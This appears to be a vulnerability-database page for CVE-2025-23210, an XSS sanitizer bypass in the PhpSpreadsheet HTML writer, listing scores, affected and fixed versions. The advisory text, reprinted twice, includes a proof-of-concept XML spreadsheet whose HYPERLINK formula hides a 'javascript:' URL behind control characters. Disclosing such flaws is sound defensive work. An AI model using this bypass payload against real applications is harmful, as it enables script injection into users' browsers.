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CVE-2025-23210

Bypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheet

4.8 MediumFix available

CVE-2025-23210 is a medium vulnerability (CVSS 4.8) in Phpoffice Phpspreadsheet, published February 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in phpoffice/phpspreadsheet 3.9.0.

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
Active

What an attacker can affect

Confidentiality
Low
Integrity
Low
Availability
None

Exploit likelihood

0.41%Up 0.4 points since Feb 4, 2025
90%50%10%1%

What each source reports

CVE List Score used 4.8

Bypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheet

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2025-23210
CVSS 4.0
4.8 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
EUVDEUVD-2025-0222 4.8

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
EUVD-2025-0222
CVSS 4.0
4.8 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-r57h-547h-w24f 4.8

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the…

Record
GHSA-r57h-547h-w24f
CVSS 4.0
4.8 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02
NVD 4.8

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2025-23210
CVSS 4.0
4.8 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-79
Updated
2026-11-02
OSV 4.8

Bypass XSS sanitizer using the javascript protocol and special characters in phpoffice/phpspreadsheet

phpoffice/phpspreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions have been found to have a Bypass of the Cross-site Scripting (XSS) sanitizer using the javascript protocol and special characters. This issue has been addressed in versions 3.9.0, 2.3.7, 2.1.8, and 1.29.9. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Record
CVE-2025-23210
CVSS 4.0
4.8 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Weakness
CWE-79
Updated
2026-11-02
OSVGHSA-r57h-547h-w24f 4.8

PhpSpreadsheet allows bypassing of XSS sanitizer using the javascript protocol and special characters

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the…

Record
GHSA-r57h-547h-w24f
CVSS 4.0
4.8 MediumCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Weakness
CWE-79
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
phpoffice/phpspreadsheet
Packagist
 3.0.0 up to 3.9.0
3.9.0
phpoffice/phpspreadsheet
Packagist
 before 1.29.9
1.29.9
phpoffice/phpspreadsheet
Packagist
 2.2.0 up to 2.3.7
2.3.7
phpoffice/phpspreadsheet
Packagist
 2.0.0 up to 2.1.8
2.1.8
phpoffice/phpexcel
Packagist
 through 1.8.2 None known
phpoffice/phpspreadsheet
Packagist
 3.0.0 up to 3.9.0, plus listed versions
3.3.03.4.03.5.03.6.03.7.03.8.0
3.9.0
phpoffice/phpspreadsheet
Packagist
 before 1.29.9, plus listed versions
1.0.01.0.0-beta1.0.0-beta21.1.01.10.0
Show 45 moreShow less
1.10.11.11.01.12.01.13.01.14.01.14.11.15.01.16.01.17.01.17.11.18.01.19.01.2.01.2.11.20.01.21.01.22.01.23.01.24.01.24.11.25.01.25.11.25.21.26.01.27.01.27.11.28.01.29.01.29.11.29.21.29.41.29.51.29.61.29.71.29.81.3.01.3.11.4.01.4.11.5.01.5.11.5.21.6.01.7.01.8.0
1.29.9
phpoffice/phpspreadsheet
Packagist
 2.2.0 up to 2.3.7, plus listed versions
2.2.12.2.22.3.02.3.22.3.32.3.42.3.52.3.6
2.3.7
phpoffice/phpspreadsheet
Packagist
 2.0.0 up to 2.1.8, plus listed versions
2.1.02.1.12.1.32.1.42.1.52.1.62.1.7
2.1.8
phpoffice/phpexcel
Packagist
 through 1.8.2, plus listed versions
1.7.91.7.9-rc11.8.01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.1
 None known

History

History
WhenChangedSources
2026-11-03aliasesEUVD
2026-11-02createdCVE List, GitHub Advisories, NVD, OSV

References

This page doesn't list everything

Left out here: 3 versions and the rest of 2 source descriptions. The JSON record has them.

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